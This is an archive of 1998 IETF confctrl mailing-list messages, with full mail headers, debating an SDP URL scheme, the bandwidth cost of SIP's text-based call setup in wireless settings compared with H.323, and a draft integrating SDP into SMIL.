Subject: Re: SDP URL Scheme
To: hgs@cs.columbia.edu (Henning Schulzrinne)
Date: Fri, 7 Aug 98 23:05:36 JST
Cc: magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
In-Reply-To: <no.id>; from "Henning Schulzrinne" at Aug 7, 98 8:37 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning;

> Seems like we have this discussion every 6 months or so.

I have never seen such a discussion, a least on SDP URL.

> Why can't you
> just use the existing, standardized "data" URL and be done with it? That
> URL type was designed exactly for these types of mappings.

"data" URL? What is it and where is it standardized?

If you mean something like http URL with file extenstions such
as "html" or "ps", it is a URL for files, not for ports. It will,
also, cause unicast HTTP implosion, if a page containing the URL
is distributed with large scale multicast.

							Masataka Ohta

From confctrl-owner  Fri Aug  7 10:34:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA08933
	for confctrl-outgoing; Fri, 7 Aug 1998 10:34:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08928
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 10:34:15 -0700 (PDT)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05616
	for <confctrl@isi.edu>; Fri, 7 Aug 1998 10:34:14 -0700 (PDT)
Received: from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate.mot.com (8.8.5/8.6.10/MOT-3.8) with ESMTP id MAA26419 for <confctrl@isi.edu>; Fri, 7 Aug 1998 12:34:14 -0500 (CDT)
Comments: ( Received on motgate.mot.com from client pobox.mot.com, sender wiatrak@cig.mot.com )
Received: from relay1.cig.mot.com (relay1.cig.mot.com [136.182.15.23]) by pobox.mot.com (8.8.5/8.6.10/MOT-3.8) with ESMTP id MAA15822 for <confctrl@isi.edu>; Fri, 7 Aug 1998 12:34:13 -0500 (CDT)
Received: from calamite.cig.mot.com (wiatrak@calamite.cig.mot.com [136.182.45.221]) by relay1.cig.mot.com (8.8.5/SCERG-RELAY-1.11b) with ESMTP id MAA27097 for <confctrl@isi.edu>; Fri, 7 Aug 1998 12:31:50 -0500 (CDT)
Received: (wiatrak@localhost) by calamite.cig.mot.com (8.8.5/SCERG-1.12B) id MAA17386; Fri, 7 Aug 1998 12:31:49 -0500 (CDT)
Date: Fri, 7 Aug 1998 12:31:49 -0500 (CDT)
From: Bruce Wiatrak <wiatrak@cig.mot.com>
Message-Id: <9808071231.ZM17384@calamite>
X-Mailer: Z-Mail (3.2.1 10apr95)
To: confctrl@ISI.EDU
Subject: SIP and waste of bandwidth in wireless applications
Cc: wiatrak@cig.mot.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Is seems to me that a Text Based call setup protocol
will waste bandwidth especially in wireless
applications where spectrum must be tightly
managed.

Also processing of Text strings requires more processing
than a bit oriented protocol.

In the SIP Draft dated July 16, 1998 section
1.5.3 it states that "it is believed that the additional
overhead of using a text-based protocol is not significant."

Call setup time in the wireless and landline telephony systems
is regarded as a required quality of service attribute.
Customers will not accept a much increased call setup time
because of the extra processing required to parse strings.

Are there plans to create a digital call setup protocol?

Bruce


From confctrl-owner  Fri Aug  7 11:01:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA09898
	for confctrl-outgoing; Fri, 7 Aug 1998 11:01:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09893
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 11:01:03 -0700 (PDT)
Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08818
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 11:01:01 -0700 (PDT)
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5])
	by ganymede.or.intel.com (8.8.6/8.8.5) with ESMTP id SAA14560;
	Fri, 7 Aug 1998 18:01:01 GMT
Received: from jetoga.intel.com (jetoga.jf.intel.com [134.134.153.207])
          by ideal.jf.intel.com (8.9.0/8.9.0) with SMTP
	  id KAA18352; Fri, 7 Aug 1998 10:51:39 -0700 (PDT)
Message-Id: <3.0.5.32.19980807110056.0082d180@ibeam.intel.com>
X-Sender: jtoga@ibeam.intel.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 07 Aug 1998 11:00:56 -0700
To: Bruce Wiatrak <wiatrak@cig.mot.com>, confctrl@ISI.EDU
From: Jim Toga <jim.toga@intel.com>
Subject: Re: SIP and waste of bandwidth in wireless applications
Cc: wiatrak@cig.mot.com
In-Reply-To: <9808071231.ZM17384@calamite>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The ITU-T has one defined : H.323.

At 12:31 PM 8/7/98 -0500, Bruce Wiatrak wrote:
>
>Is seems to me that a Text Based call setup protocol
>will waste bandwidth especially in wireless
>applications where spectrum must be tightly
>managed.
>
>Also processing of Text strings requires more processing
>than a bit oriented protocol.
>
>In the SIP Draft dated July 16, 1998 section
>1.5.3 it states that "it is believed that the additional
>overhead of using a text-based protocol is not significant."
>
>Call setup time in the wireless and landline telephony systems
>is regarded as a required quality of service attribute.
>Customers will not accept a much increased call setup time
>because of the extra processing required to parse strings.
>
>Are there plans to create a digital call setup protocol?
>
>Bruce
>
>

*****************************************************
***  +1-503-264-8816(voice)              Intel - Hillsboro, OR.
    *** 
***  mailto:jim.toga@intel.com         mailto:james.toga@ties.itu.int *** 
***  PGP keyID 36 07 86 49 7D 74 DF 57  50 CB BA 32 08 9C 7C 41 ***
*****************************************************

From confctrl-owner  Fri Aug  7 11:04:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA09967
	for confctrl-outgoing; Fri, 7 Aug 1998 11:04:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09961
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 11:04:36 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09108
	for <confctrl@isi.edu>; Fri, 7 Aug 1998 11:04:35 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id OAA27814;
	Fri, 7 Aug 1998 14:04:03 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id OAA01456;
	Fri, 7 Aug 1998 14:04:03 -0400 (EDT)
Date: Fri, 7 Aug 1998 14:04:03 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980807140402.ZM1454@seawind.bellcore.com>
In-Reply-To: Bruce Wiatrak <wiatrak@cig.mot.com>
        "SIP and waste of bandwidth in wireless applications" (Aug  7, 12:31pm)
References: <9808071231.ZM17384@calamite>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Bruce Wiatrak <wiatrak@cig.mot.com>, confctrl@ISI.EDU
Subject: Re: SIP and waste of bandwidth in wireless applications
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Aug 7, 12:31pm, Bruce Wiatrak wrote:
> Subject: SIP and waste of bandwidth in wireless applications
> 
> Is seems to me that a Text Based call setup protocol
> will waste bandwidth especially in wireless
> applications where spectrum must be tightly
> managed.

Text encodings are typically 20% to 100% larger than binary encodings.
This is indeed significant.  However, the impact is less than you
think in an Internet environment where payload packets and signalling
packets share the same channels.  A connection set-up requires 6 or
7 messages, while the voice channel alone requires about 20 messages
per second if you want to maintain reasonably interactive delays.

> Also processing of Text strings requires more processing
> than a bit oriented protocol.

The difference is marginal -- it mostly depend on the optimisation level
of your code.

In traditional Ip networks, the ease of debugging + ease of monitoring,
testing, etc, more than compensates the overhead.  I suspect that the
same would hold true in reasonable wireless configurations.

-- 
Christian Huitema

From confctrl-owner  Fri Aug  7 11:06:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA10069
	for confctrl-outgoing; Fri, 7 Aug 1998 11:06:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10056
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 11:06:04 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA09266
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 11:06:01 -0700 (PDT)
Received: from grazie.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08348-0@bells.cs.ucl.ac.uk>; Fri, 7 Aug 1998 19:05:50 +0100
To: Bruce Wiatrak <wiatrak@cig.mot.com>
cc: confctrl@ISI.EDU
Subject: Re: SIP and waste of bandwidth in wireless applications
In-reply-to: Your message of "Fri, 07 Aug 1998 12:31:49 CDT." <9808071231.ZM17384@calamite>
Date: Fri, 07 Aug 1998 19:05:45 +0200
Message-ID: <5618.902513145@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <9808071231.ZM17384@calamite>, Bruce Wiatrak typed:
 >>Is seems to me that a Text Based call setup protocol
 >>will waste bandwidth especially in wireless
 >>applications where spectrum must be tightly
 >>managed.
 
hunh -if you have enough for speech (e.g. 3kbps) why are you worried
about a 2 packet exchange of relatively short packets - itsnot
bandwidth - you _might_ just argue it will increase rhe latency

 >>Also processing of Text strings requires more processing
 >>than a bit oriented protocol.
not on any reasoanble processor i knwo of - any s/w implementaiton
will be way better on byte rtaher than bit - evcen intel CISC *86
processors are, and any risc (e.g. amd29000, mips, ARM, sparc, blah
blah) will have much less hassle with string matching than bit
twiddling.....

same arugment dicated the dssign of byte oriented framing protocols
for data comms ratehr than hdlc bit oreiented stuffing which is a
terrible headache....

ditto H221 framing/muxing versus RTP...


 >>In the SIP Draft dated July 16, 1998 section
 >>1.5.3 it states that "it is believed that the additional
 >>overhead of using a text-based protocol is not significant."
 
 >>Call setup time in the wireless and landline telephony systems
 >>is regarded as a required quality of service attribute.
 >>Customers will not accept a much increased call setup time
 >>because of the extra processing required to parse strings.
 
this is true - the latecny could be argued (though it wont realy be
significant) - i dont buy the processing overhead argument 1 bit

thats my 2 cents:-)

 >>Are there plans to create a digital call setup protocol?
 
um - well, what are your goals? what s/w (or h/w) do expect to design
in an IP mobile phone? if its a GSM phone with a PDA function, then
it'll have an ARM or sometyhing similar....

 cheers

   jon


From confctrl-owner  Fri Aug  7 11:16:02 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA10519
	for confctrl-outgoing; Fri, 7 Aug 1998 11:16:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10514
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 11:16:00 -0700 (PDT)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10213
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 11:15:59 -0700 (PDT)
Received: from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate.mot.com (8.8.5/8.6.10/MOT-3.8) with ESMTP id NAA19516; Fri, 7 Aug 1998 13:15:56 -0500 (CDT)
Comments: ( Received on motgate.mot.com from client mothost.mot.com, sender wiatrak@cig.mot.com )
Received: from relay1.cig.mot.com (relay1.cig.mot.com [136.182.15.23]) by mothost.mot.com (8.8.5/8.6.10/MOT-3.8) with ESMTP id NAA17154; Fri, 7 Aug 1998 13:15:56 -0500 (CDT)
Received: from calamite.cig.mot.com (wiatrak@calamite.cig.mot.com [136.182.45.221]) by relay1.cig.mot.com (8.8.5/SCERG-RELAY-1.11b) with ESMTP id NAA29873; Fri, 7 Aug 1998 13:13:02 -0500 (CDT)
Received: (wiatrak@localhost) by calamite.cig.mot.com (8.8.5/SCERG-1.12B) id NAA17899; Fri, 7 Aug 1998 13:13:01 -0500 (CDT)
Date: Fri, 7 Aug 1998 13:13:01 -0500 (CDT)
From: Bruce Wiatrak <wiatrak@cig.mot.com>
Message-Id: <9808071313.ZM17897@calamite>
In-Reply-To: Jim Toga <jim.toga@intel.com>
        "Re: SIP and waste of bandwidth in wireless applications" (Aug  7, 11:00am)
References: <3.0.5.32.19980807110056.0082d180@ibeam.intel.com>
X-Mailer: Z-Mail (3.2.1 10apr95)
To: Jim Toga <jim.toga@intel.com>, Bruce Wiatrak <wiatrak@cig.mot.com>,
        confctrl@ISI.EDU
Subject: Re: SIP and waste of bandwidth in wireless applications
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


H.323 refers to H.225 which is a subset of the
of the Q.931 standard. Q.931 is the ISDN
call setup protocol.

It seems the SIP and
H.225 (H.323) are competing standards for call setup (control)
in internet telephony

If IETF is pushing a text based call setup protocol
and it becomes the defacto standard for internet telephony
the text based protocol will not lend itself well to
the wireless applications.
The control channel in cellular systems will become clogged with
text messages for call setup.

Bruce


From confctrl-owner  Fri Aug  7 12:32:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA13728
	for confctrl-outgoing; Fri, 7 Aug 1998 12:32:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA13716
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 12:32:09 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA20799
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 12:32:07 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Aug  7 15:30:46 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA21156;
	Fri, 7 Aug 1998 15:31:08 -0400 (EDT)
Message-ID: <35CB556F.F5E46141@dnrc.bell-labs.com>
Date: Fri, 07 Aug 1998 15:28:47 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Christian Huitema <huitema@bellcore.com>
CC: Bruce Wiatrak <wiatrak@cig.mot.com>, confctrl@ISI.EDU
Subject: Re: SIP and waste of bandwidth in wireless applications
References: <9808071231.ZM17384@calamite> <980807140402.ZM1454@seawind.bellcore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> On Aug 7, 12:31pm, Bruce Wiatrak wrote:
> > Subject: SIP and waste of bandwidth in wireless applications
> >
> > Is seems to me that a Text Based call setup protocol
> > will waste bandwidth especially in wireless
> > applications where spectrum must be tightly
> > managed.
> 
> Text encodings are typically 20% to 100% larger than binary encodings.
> This is indeed significant.

I'd really be interested to know about comparisons with something like
ASN.1. There are overheads associated with both PER and BER as well, so
it would be nice to get a real number instead of everyone just guessing.

The size will also depend on the amount of data sent. A binary based
protocol with a lot more mandatory elements could in the end be larger
than a textual protocol with fewer.


 However, the impact is less than you
> think in an Internet environment where payload packets and signalling
> packets share the same channels.  A connection set-up requires 6 or
> 7 messages, while the voice channel alone requires about 20 messages
> per second if you want to maintain reasonably interactive delays.

A SIP exchange is three in general; unless maybe you are counting things
like DNS and ARP? Actually, packet rates are likely around 30 per second
(using G.723.1 = 30ms frames and 1 frame per packet = 33 packets per
second).

> 
> > Also processing of Text strings requires more processing
> > than a bit oriented protocol.
> 
> The difference is marginal -- it mostly depend on the optimisation level
> of your code.

You'll spend *way* more time doing any reasonable speech compression
than parsing the text of the message.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Aug  7 12:41:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA13961
	for confctrl-outgoing; Fri, 7 Aug 1998 12:41:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA13956
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 12:41:00 -0700 (PDT)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21863
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 12:40:58 -0700 (PDT)
Received: from localhost by www45.inria.fr (8.8.8/8.8.5) with ESMTP id VAA28765; Fri, 7 Aug 1998 21:40:55 +0200 (MET DST)
Message-Id: <199808071940.VAA28765@www45.inria.fr>
To: confctrl@ISI.EDU, www-smil@w3.org
From: Philipp Hoschka <ph@w3.org>
Subject: Draft: Integrating SDP functionality into SMIL
Date: Fri, 07 Aug 1998 21:40:55 +0200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Abstract

This document describes an approach for integrating the 
functionality currently contained in SDP (Session
Announcement Protocol) into SMIL (Synchronized Multimedia 
Integration Language). The motivation is to make it easier 
for SMIL authors to interface with the existing RTP/MBone 
infrastructure. Currently, this requires maintaining two different 
sets of files, each of which use a different text format.

This has been submitted as an Internet draft.

It is available at

http://www.w3.org/AudioVideo/1998/08/draft-hoschka-smilsdp-00

This is a strawman to see whether people are intrested in 
pursuing this - i got a couple of "private requests" to do it.

Would be great if this could get some time on the MMUSIC 
schedule in Chicago.

----------------------------------------------------------------------
   Philipp Hoschka                  |
   http://www.w3.org/people/hoschka |
				    |   World Wide Web Consortium
				    |   MIT-LCS
   ph@w3.org                        |   545, Technology Square
   Tel:(+1) 617.258.0604            |   Cambridge, MA 02139
   Fax:(+1) 617.258.5999            |   USA
----------------------------------------------------------------------

From confctrl-owner  Fri Aug  7 12:47:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA14174
	for confctrl-outgoing; Fri, 7 Aug 1998 12:47:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA14166
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 12:47:46 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA22791
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 12:47:44 -0700 (PDT)
Received: from omta2.mcit.com.mci.com (omta2.mcit.com [166.37.204.3])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id PAA12235; Fri, 7 Aug 1998 15:47:11 -0400 (EDT)
Received: from sinnreich2 ([166.37.29.76]) by omta2.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980807194711.XANE876@[166.37.29.76]>;
          Fri, 7 Aug 1998 14:47:11 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Bruce Wiatrak" <wiatrak@cig.mot.com>, "Jim Toga" <jim.toga@intel.com>,
        <confctrl@ISI.EDU>
Subject: RE: SIP and waste of bandwidth in wireless applications
Date: Fri, 7 Aug 1998 14:46:37 -0500
Message-ID: <000701bdc23c$16ff5360$4c1d25a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <9808071313.ZM17897@calamite>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> The control channel in cellular systems will become clogged with
> text messages for call setup.

Please see Christian's and Jon's notes. I would like to add that wireless IP
devices may not necessarily be architected with the control channel that you
mention. The wireless IP services also deploy larger bandwidth. So the size
of text based control messages matters even less.

Henry

Henry Sinnreich
MCI, 901 International Parkway
Richardson, Texas 75082

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Bruce Wiatrak
> Sent: Friday, August 07, 1998 1:13 PM
> To: Jim Toga; Bruce Wiatrak; confctrl@ISI.EDU
> Subject: Re: SIP and waste of bandwidth in wireless applications
>
>
>
> H.323 refers to H.225 which is a subset of the
> of the Q.931 standard. Q.931 is the ISDN
> call setup protocol.
>
> It seems the SIP and
> H.225 (H.323) are competing standards for call setup (control)
> in internet telephony
>
> If IETF is pushing a text based call setup protocol
> and it becomes the defacto standard for internet telephony
> the text based protocol will not lend itself well to
> the wireless applications.
> The control channel in cellular systems will become clogged with
> text messages for call setup.
>
> Bruce
>


From confctrl-owner  Fri Aug  7 13:11:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA15042
	for confctrl-outgoing; Fri, 7 Aug 1998 13:11:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA15034
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 13:11:00 -0700 (PDT)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA25898
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 13:10:58 -0700 (PDT)
Received: from localhost by www45.inria.fr (8.8.8/8.8.5) with ESMTP id WAA29065; Fri, 7 Aug 1998 22:10:42 +0200 (MET DST)
Message-Id: <199808072010.WAA29065@www45.inria.fr>
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
In-reply-to: Your message of Fri, 07 Aug 1998 23:05:36 +0200.
             <199808071405.XAA10434@necom830.hpcl.titech.ac.jp> 
Date: Fri, 07 Aug 1998 22:10:42 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


On 07/08/1998, Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>  wrote:

>"data" URL? What is it and where is it standardized?

for what it is, see

ftp://ietf.cnri.reston.va.us/internet-drafts/draft-masinter-url-data-03.txt

this seems to be the latest version

it's not standardised, but netscape implements it, for example

From confctrl-owner  Fri Aug  7 14:59:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA18751
	for confctrl-outgoing; Fri, 7 Aug 1998 14:59:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18746
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 14:59:09 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06858
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 14:59:08 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808072149.GAA00633@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id GAA00633; Sat, 8 Aug 1998 06:49:42 +0900
Subject: Re: SDP URL Scheme
To: Philipp.Hoschka@sophia.inria.fr (Philipp Hoschka)
Date: Sat, 8 Aug 98 6:49:41 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, confctrl@ISI.EDU
In-Reply-To: <199808072010.WAA29065@www45.inria.fr>; from "Philipp Hoschka" at Aug 7, 98 10:10 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Phillip;

> On 07/08/1998, Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>  wrote:
> 
> >"data" URL? What is it and where is it standardized?
> 
> for what it is, see
> 
> ftp://ietf.cnri.reston.va.us/internet-drafts/draft-masinter-url-data-03.txt

Thank you.

It has no host part that it has nothing to do with SDPURL.

> it's not standardised, but netscape implements it, for example

Henning should learn a lot more about IETF process, URL and SDP, then.

						Mastaka Ohta

From confctrl-owner  Fri Aug  7 21:22:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA27043
	for confctrl-outgoing; Fri, 7 Aug 1998 21:22:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA27038
	for <confctrl@zephyr.isi.edu>; Fri, 7 Aug 1998 21:22:54 -0700 (PDT)
Received: from magic.kuis.kyoto-u.ac.jp (cabriolet.kuis.kyoto-u.ac.jp [130.54.22.107])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA08626
	for <confctrl@ISI.EDU>; Fri, 7 Aug 1998 21:22:51 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1]) by magic.kuis.kyoto-u.ac.jp (8.8.7/3.6Wbeta7-pro) with ESMTP id NAA02369; Sat, 8 Aug 1998 13:07:15 +0900 (JST)
To: Philipp.Hoschka@sophia.inria.fr
Cc: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
In-Reply-To: Your message of "Fri, 07 Aug 1998 22:10:42 +0200"
	<199808072010.WAA29065@www45.inria.fr>
References: <199808072010.WAA29065@www45.inria.fr>
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19980808130713H.magician@kuis.kyoto-u.ac.jp>
Date: Sat, 08 Aug 1998 13:07:13 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 971106
Lines: 36
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Subject: Re: SDP URL Scheme 
Date: Fri, 07 Aug 1998 22:10:42 +0200

> 
> On 07/08/1998, Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>  wrote:
> 
> >"data" URL? What is it and where is it standardized?
> 
> for what it is, see
> 
> ftp://ietf.cnri.reston.va.us/internet-drafts/draft-masinter-url-data-03.txt
> 
> this seems to be the latest version
> 
> it's not standardised, but netscape implements it, for example
> 

Thank you for your information.

This URL may be useful for binary data,
but is not suitable to the purpose of
announcing location (address) information and 
some parameters for joining sessions.

Announcing location information is the original 
purpose of URL.
---------------------------------------------------------------
FUJIKAWA, Kenji @ Grad. Sch. of Informatics, Kyoto Univ., Japan
              WWW http://camino.kuis.kyoto-u.ac.jp/index-e.html
                        TEL +81 75-753-5387 FAX +81 75-751-0482
                             e-mail fujikawa@kuis.kyoto-u.ac.jp
                             e-mail magician@kuis.kyoto-u.ac.jp




From confctrl-owner  Sat Aug  8 03:15:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA01510
	for confctrl-outgoing; Sat, 8 Aug 1998 03:15:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA01497;
	Sat, 8 Aug 1998 03:15:20 -0700 (PDT)
Received: from lu-s1.zid.khs-linz.ac.at (root@lu-s1.zid.khs-linz.ac.at [193.170.96.105])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA00023;
	Sat, 8 Aug 1998 03:15:18 -0700 (PDT)
Received: from khsa.khs-linz.ac.at (s08haau0.zid.khs-linz.ac.at [193.170.96.98])
	by lu-s1.zid.khs-linz.ac.at (8.9.1/8.8.8) with ESMTP id MAA02586;
	Sat, 8 Aug 1998 12:13:16 +0200
Received: from S08HAAU0/SpoolDir by khsa.khs-linz.ac.at (Mercury 1.43);
    8 Aug 98 12:26:50 GMT+1
